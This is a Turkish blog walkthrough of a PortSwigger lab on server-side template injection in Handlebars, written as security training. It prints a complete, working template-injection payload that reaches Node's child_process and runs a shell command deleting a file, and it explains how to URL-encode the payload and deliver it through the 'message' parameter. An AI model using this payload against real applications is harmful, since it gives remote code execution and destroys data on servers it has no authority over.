Bu lab ortamında mantığımız bir önceki https://ersinsarisoy.com.tr/docs/portswigger-ssti-zafiyeti-lab-3/ zafiyetiyle aynı mantıkta.
Zafiyetli web sitemize erişim sağladıktan sonra Anasayfadan başka bir bağlantı gözükmüyor.Ürünün altında View Details butonuna bastığım zaman GET parametresiyle mesaj iletiyor.

O zaman bir önceki lab’ımızla aynı mantık olduğuna göre hatayı message= parametresiyle almaya çalışalım.

Burada message parametresine rastgele SSTI payloadı deniyorum.Denediğim payloaddan bir çıktı alabiliyorum.Burada aslında biraz fazla zaman harcadım.
Buradaki mantığım,dizin yoluna bakarsanız /usr/local/lib/node_modules/handlebars…
Handlebars’ı aslında bir javascript kütüphanesi sandım ve çeşitli payloadlar denemeye başladım ama aldığım çıktı hep aynıydı.Kısacası gözümün önüneki cevabı kısa bir zaman için göremedim ki bu çoğu CTF de başınıza gelmesi muhtemel bir olaydır.
Handlebars’ı araştırırken $10K ile ödüllendirilen bir Ödül Avcısı’nın writeup’ıyla karşılaştım ve okudum ;http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html
En aşağıda 2 payload türünü kullanabilmemiz için paylaşmış.
değişiklik yapıp;
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
ve ardından URL Encode ile encode ediyoruz ; https://www.urlencoder.org/

Ve encode ettiğimiz kod bloğunu message parametresine ekliyoruz ve gönderiyoruz.Lab ortamımız çözülmüş oluyor.
